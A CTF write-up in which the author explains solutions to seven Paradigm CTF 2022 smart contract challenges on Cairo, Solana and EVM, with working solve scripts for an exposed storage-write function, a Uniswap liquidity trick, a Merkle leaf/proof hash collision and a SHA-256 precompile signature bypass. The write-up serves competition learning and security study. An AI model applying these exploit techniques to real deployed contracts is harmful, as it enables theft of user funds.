My Paradigm CTF 2022 Solutions

My Paradigm CTF 2022 Results

Paradigm CTF is an online competition for smart contract hackers organized by Paradigm, an investment fund that supports Web3 and crypto companies. The competition consists of multiple challenges created by brightest minds of the field. The goal in each challenge is to hack a smart contract or to find another, absolutely non- obvious, way of solving it.

This year, the CTF had 23 challenges. I solved 7 of them, got 1,379 points, and ended up 38th out of ~100.

Solved challenges:

Sanity Checks

This year, there were challenges for different platforms: EVM, Solana, Cairo. Each of the platforms had multiple challenges with different difficulty levels. The easiest ones were tagged “sanity check”

Random

I’m thinking of a number between 4 and 4

The entry-level EVM challenge. You needed to call solve with a “random” number generated by a contract. The number was 4.

Riddle-of-the-Sphinx

What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?

The entry-level Cairo challenge. You needed to find the answer to the riddle in the description and set it in a contract. The challenge contract had a storage variable and a setter for it, so you just needed to call the setter and pass the correct answer.

The challenge contract:

%lang starknet

from starkware.cairo.common.cairo_builtins import HashBuiltin

@storage_var
func _solution() -> (res : felt):
end

@external
func solve{
    syscall_ptr : felt*,
    pedersen_ptr : HashBuiltin*,
    range_check_ptr,
}(solution : felt):
    _solution.write(solution)
    return ()
end

@view
func solution{
    syscall_ptr : felt*,
    pedersen_ptr : HashBuiltin*,
    range_check_ptr,
}() -> (solution : felt):
    let (solution) = _solution.read()
    return (solution)
end

My solution in Python using starknet.py:

import sys
from starknet_py.net import AccountClient, KeyPair
from starknet_py.net.gateway_client import GatewayClient
from starknet_py.net.networks import TESTNET
from starknet_py.contract import Contract
from starknet_py.net.models.chains import StarknetChainId
from starkware.crypto.signature.signature import private_to_stark_key
from starkware.starknet.core.os.contract_address.contract_address import calculate_contract_address_from_hash

prvkey=int(sys.argv[3], 16)
pubkey=private_to_stark_key(prvkey)
pair=KeyPair(private_key=prvkey, public_key=pubkey)
addr=calculate_contract_address_from_hash(
    salt=20,
    class_hash=1803505466663265559571280894381905521939782500874858933595227108099796801620,
    constructor_calldata=[pubkey],
    deployer_address=0
)

client = GatewayClient(sys.argv[1], TESTNET)
acc = AccountClient(addr, client=client, key_pair=pair, chain=StarknetChainId.TESTNET)
c = Contract.from_address_sync(sys.argv[2], acc)

print(c.functions["solution"].call_sync())
c.functions["solve"].invoke_sync("man", max_fee=0)
print(c.functions["solution"].call_sync())

The right answer could be found in one of the files provided with the challenge.

Otter-world

Otter World!

This is the sanity check level for Solana. The challenge consisted of two Solana programs: “challenge” and “solve”. The former was the actual challenge and the latter was used to solve it. The challenge program was a one-function program that required a certain input value, which was just 0x1337 * 0x7331:

#[program]
pub mod chall {
    use super::*;

    pub fn get_flag(_ctx: Context<GetFlag>, magic: u64) -> Result<()> {
        assert!(magic == 0x1337 * 0x7331);

        Ok(())
    }

}

So to solve the challenge I only needed to update the “solve” program to send the correct input:

chall::cpi::get_flag(cpi_ctx, 0x8a56287)?;

Cairo-Proxy

Just a simple proxy contract

This is the level 2 challenge in Cairo. It implement the classic Proxy pattern from Solidity/EVM: there’s a facade contract that stores data and that uses implementation from another contract. The implementation contract is an ERC20-like contract that had some amount of tokens minted (50,000e18) and distributed to non user owner addresses (1337 and 7331). The goal was to get 50,000e18 of tokens on your balance.

At first, I noticed that the ERC20 was deployed, which is not required in Cairo: you shouldn’t deploy implementation contracts in Cairo and should instead use contract’s “class hash”. The OpenZeppelin Cairo documentation was very helpful to figure this out. So, I called initialize on the ERC20 contract but this didn’t for an obvious reason: the two contracts use different data storages. We needed to have 50,000e18 tokens in the proxy contracts.

While scanning the source code, I noticed this piece in the proxy contract:

from utils import auth_read_storage
...
# Allow owner to read all the contract's state
@view
func read_state{
        syscall_ptr : felt*,
        pedersen_ptr : HashBuiltin*,
        range_check_ptr
    }(address : felt) -> (value : felt):
    let (owner_account) = owner.read()
    let (value) = auth_read_storage(owner_account, address)
    return (value)
end

It imported a function from another file and used this function in a view method of the contract. In the utils file I saw this:

# Helpers for auth users to interact with contract's storage 
@view
func auth_read_storage{
        syscall_ptr : felt*,
    }(auth_account : felt, address : felt) -> (value : felt):
    let (caller) = get_caller_address()

    assert caller = auth_account

    let (value) = storage_read(address=address)

    return (value=value)
end

@external
func auth_write_storage{
        syscall_ptr : felt*,
    }(auth_account : felt, address : felt, value : felt):
    let (caller) = get_caller_address()

    assert caller = auth_account

    storage_write(address=address, value=value)
    return()
end

A-ha! So there’s also a write-to-storage function. It has @external decorator, which makes it a public method of a contract. However, it wasn’t used in the proxy contract. Or was it?

To dispel my doubts I called this:

print(proxy_contract.data.abi)

And saw that auth_write_storage was part of the proxy contract! So, I needed to write 50,000e18 to my storage slot in the balances mapping:

storage_addr=get_storage_var_address("balances", acc.address)
proxy_contract.functions["auth_write_storage"].invoke_sync(acc.address, storage_addr, int(50000e18), max_fee=0)

Rescue

I accidentally sent some WETH to a contract, can you help me?

This is a classic DeFi challenge, where you need to move the DeFi Legos around to achieve a goal.

Someone sent some WETH to a contract and you need to find a way how to move them away from the contract. Luckily, the contract provides a way:

function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
    (,, uint256 amountOut) = router.addLiquidity(
        token0, 
        token1, 
        ERC20Like(token0).balanceOf(address(this)), 
        ERC20Like(token1).balanceOf(address(this)), 
        0, 
        0, 
        msg.sender, 
        block.timestamp
    );
    require(amountOut >= minAmountOut);
}

You can trigger it to provide liquidity to a Uniswap V2 pool. This is the goal, and you need to find the series of steps that gets you there. In other words, you need to know what’s required to add liquidity to a Uniswap V2 pool.

The steps I discovered:

  1. Buy 10 ether worth of USDC and send them to MasterChefHelper. We need exactly this amount because, when providing liquidity in Uniswap, the proportion of tokens must be 50/50. In my case, thats 10 WETH and an equal amount of USDC.
  2. Buy some amount of USDT. We need it to trigger swapTokenForPoolToken in MasterChefHelper. The function takes our USDT, splits them, buys equal amount of WETH and USDC (I used poolId 1), and adds them as liquidity to a Uniswap pool.
  3. When MasterChefHelper calls router.addLiquidity, it tells the pool to take all its tokens, including the initial 10 WETH and our USDC.
  4. Done!

My solution:

contract RescueSolve {
    UniswapV2RouterLike public constant router =
        UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

    WETH9 public constant weth =
        WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    ERC20Like public constant usdc =
        ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    ERC20Like public constant usdt =
        ERC20Like(0xdAC17F958D2ee523a2206206994597C13D831ec7);

    IPair constant pair = IPair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); // USDC-WETH
    IPair constant pair2 = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); // USDT-WETH

    constructor() payable {}

    function solve(address mcHelper) public {
        (uint112 reserveUSDC, uint112 reserveWETH, ) = pair.getReserves();
        uint256 usdcAmount = router.getAmountOut(
            10 ether,
            reserveWETH,
            reserveUSDC
        );
        weth.deposit{value: 10 ether}();
        weth.transfer(address(pair), 10 ether);
        pair.swap(usdcAmount, 0, mcHelper, "");

        (uint112 reserveWETH2, uint112 reserveUSDT, ) = pair2.getReserves();
        uint256 usdtAmount = router.getAmountOut(
            1 ether,
            reserveWETH2,
            reserveUSDT
        );
        weth.deposit{value: 1 ether}();
        weth.transfer(address(pair2), 1 ether);
        pair2.swap(0, usdtAmount, address(this), "");

        usdt.approve(mcHelper, usdt.balanceOf(address(this)));
        IMCHelper(mcHelper).swapTokenForPoolToken(
            1,
            address(usdt),
            usdt.balanceOf(address(this)),
            0
        );
    }
}

Merkledrop

Were you whitelisted?

Merkledrop is a popular technique of airdropping tokens. It requires building a Merkle tree where leaves store information about user addresses and amounts of tokens they’re eligible for. Leaves are then grouped in pairs and hashed. Their hashes are grouped in pairs and hashed again, and so on until there’s one root hash. Such a tree can be disclosed to anyone, and still there’s no risk of modifying its data: the consistency is guaranteed by hashing. It’s also easy to prove that you’re eligible for an airdrop:

  1. There needs to be a leaf with your address and amount.
  2. You need to provide the path from your leaf to the root hash. Specifically, you’ll need to proved the other hashes in each of the pairs on each level of the tree.

In this challenge, you get:

  1. MerkleDistributor contract that handles the claiming logic: it takes index, account, amount, and an array of proofs from users, verifies them, keeps record of claimed tokens (indexes), and releases tokens. A drop can be claimed only once.
  2. MerkleProof contract that actually verifies proofs.
  3. tree.json with a Merkle tree containing 64 leaves (tuples of: index, account, amount, and proof array).

The goal is to claim all the tokens (75,000e18) and have some of the leaves unclaimed. And it doesn’t seem like an achievable goal, after scanning the code and claiming the whole tree. Merkle trees are almost not hackable and the contracts look absolutely solid: exact same contracts were used by many projects, like Uniswap and 1Inch. However, there was a small change:

// MerkleDistributor
function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
    ...
    bytes32 node = keccak256(abi.encodePacked(index, account, amount));
}

amount is uint96. So what?

When getting node: index is uint256, account is address, amount is uint96. This makes 64 bytes, and 64 is a good number. If we look in MerkleProof again:

// MerkleProof
if (computedHash < proofElement) {
  // Hash(current computed hash + current element of the proof)
  computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
  // Hash(current element of the proof + current computed hash)
  computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}

It concatenates two hashes (each is 32 bytes) and hashes them. So inputs to keccak256 here are also 64 bytes long.

What if… No, just what if one of the leaves is a… hash?

I took all the leaves and packed them like they’re packed with abi.encodePacked before hashing in claim function:

Merkledrop leaves packed

Imagine that each of these sequences is what’s hashed in MerkleProof, i.e. left 32 bytes is one hash and right 32 bytes is another. However, hashes with many leading zeros are almost impossible and they don’t look like real hashes. The right 32 bytes look more like hashes. Also notice that each of them has multiple 00 bytes in about the same position–this is due to uint96 amounts being padded. What if there’s a proof in tree.json that has a similar padding?

Leaf 37 has this proof:

0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b

Don’t tell me this is a coincidence. 😂 The last 12 bytes (uint96) is 00000f40f0c122ae08d2207b, which is 72033437049132565012603 in the decimal system, or 72033.437049132565012603 tokens (with 18 decimals):

$ cast --to-dec 00000f40f0c122ae08d2207b| cast --from-wei
72033.437049132565012603

Which is less than the total amount of tokens in the tree (75,000).

Don’t. Tell. Me. This. Is. A. Coincidence.

Now, if we subtract this amount from 75,000e18:

2966562950867434987397

And convert it to hex:

$ cast --to-hex 2966562950867434987397
0xa0d154c64a300ddf85

And try to find this number in tree.json:

8 "0x249934e4C5b838F920883a9f3ceC255C0aB3f827" "0xa0d154c64a300ddf85"  ...

Too many coincidences!

So, what do we do?

We will make the first proof in the list of proofs of leaf 37 a leaf itself.

We can pass the proof with multiple 00 as the second half of the input to node in claim function:

  1. 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a would be an address,
  2. 0x00000f40f0c122ae08d2207b would be an amount.

But we need the index. And it cannot be an arbitrary number because it’s hashed with the address and the amount, and the resulting hash is hashed with the other proofs. But remember that proofs are concatenated and that the index is also concatenated with the address and the amount.

We need the other hash as the index! And it’s the hash of leaf 37! Remember that leaves are hashed and then their hashes are grouped in pairs and hashed again. So leaf 37’s hash is grouped with the first proof in its proofs array.

The hash of leaf 37 is:

0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442

We now have all the parameter to call claim:

  1. index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442;
  2. address: 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a;
  3. amount: 0x00000f40f0c122ae08d2207b;
  4. proofs: the rest of leaf 37 proofs.

By using these parameters, we’ll claim 72033.437049132565012603 of tokens. And we also need to claim leaf 8 to claim the remaining tokens. After that, we’ll have all the tokens claimed by running only two claims.

To solve the challenge, I made this text file: https://gist.github.com/Jeiwan/f6d6021fbce34ef1220d113a2a5bdb4e

And ran this script:

while read -r line; do
  echo "CLAIM"
  echo $line| xargs cast send --private-key $private_key --legacy $distributor "claim(uint256,address,uint96,bytes32[])"
done <merkledrop

Vanity

Just think of the gas savings!

In this challenge you’re attacked with a lot of psyops. The challenge really tries to push you into generating an address with 16 zero bytes (00) using tools like profanity. However, getting that many zero bytes in an address is a very-very hard computational task that cannot be solved a reasonable amount of time.

So there must be another way.

There are multiple places in the code that offer us different solutions:

  1. They tell us we can try to create sender address address that has >= 16 zeros. This is not possible.
    function solve() external {
        solve(msg.sender);
    }
    
  2. They tell us we can try to hack ecrecover. Even though there are multiple malleability possibilities with ecrecover, they’re all fixed in the code. So, nope.
    (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);
    if (error == ECDSA.RecoverError.NoError && recovered == signer) {
        return true;
    }
    
  3. Finally, they’re telling we can deploy a contract at an address that contains many zero bytes and implement EIP1271 in it. Again, this boils down to generating an address with many zeros. So, nope again.
    (bool success, bytes memory result) = signer.staticcall(
        abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)
    );
    return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);
    

But what if there’s already a contract at an address with >= 16 zeros? And, in fact, there multiple of them. Ethereum has multiple advanced functionalities deployed at addresses: 0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, etc.

If this is not what we need then what?

Looking at the list of such advanced functions and keeping in mind the restrictions we have to meet:

return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);

We can see only one candidate: SHA-256 function deployed at 0x0000000000000000000000000000000000000002.

It’s not a smart contract so it’s code is not shown on Etherscan. But it’s there, believe me.

This brings us to the following task: find a SHA-256 hash for input data that starts with:

0x1626ba7e
19bb34e293bba96bf0caeea54cdd3d2dad7fdf44cbea855173fa84534fcfb528

And the hash itself starts with 1626ba7e. We also must be aware of how ABI packs dynamic arrays:

  1. first 32 bytes store the offset of the array in calldata;
  2. second 32 bytes store the size of the array;
  3. the rest is the array itself.

So the input data to the SHA-256 precompiled contract must start with:

0x1626ba7e
19bb34e293bba96bf0caeea54cdd3d2dad7fdf44cbea855173fa84534fcfb528
0000000000000000000000000000000000000000000000000000000000000040
00000000000000000000000000000000000000000000000000000000000000XX

Where XX is the size of the byte array.

To solve the challenge, I wrote a simple Golang program that brute forces SHA-256: vanitycruncher-go.

It took it about an hour to find a correct hash. (And it took me 3 attempts to fix all the bugs in the code 🤦‍♂️ and figure out it’s SHA-256, not Keccak 🤦‍♂️)

I wouldn’t have solved this challenge without @save_as_jay He reached out to me and asked for help to brute force the hash, and, by that time, I had now idea that a precompiled contract needs to be used in the challenge. So my part was only mining the hash.

We finished this challenge at late night 20 minutes before the competition was over.

Wrap-up

This was a fantastic challenge! An absolute beast! Even though I spent a lot of time preparing to it and solving the challenges from Paradigm CTF 2021, I haven’t solve that many challenges. This means there’s a lot to learn, and this challenge became a huge motivation for me to keep pushing and get better in Solidity and smart contracts security.

Thanks for reading!



If you found this post useful, consider supporting the author.

You can send any amount to jeiwan.eth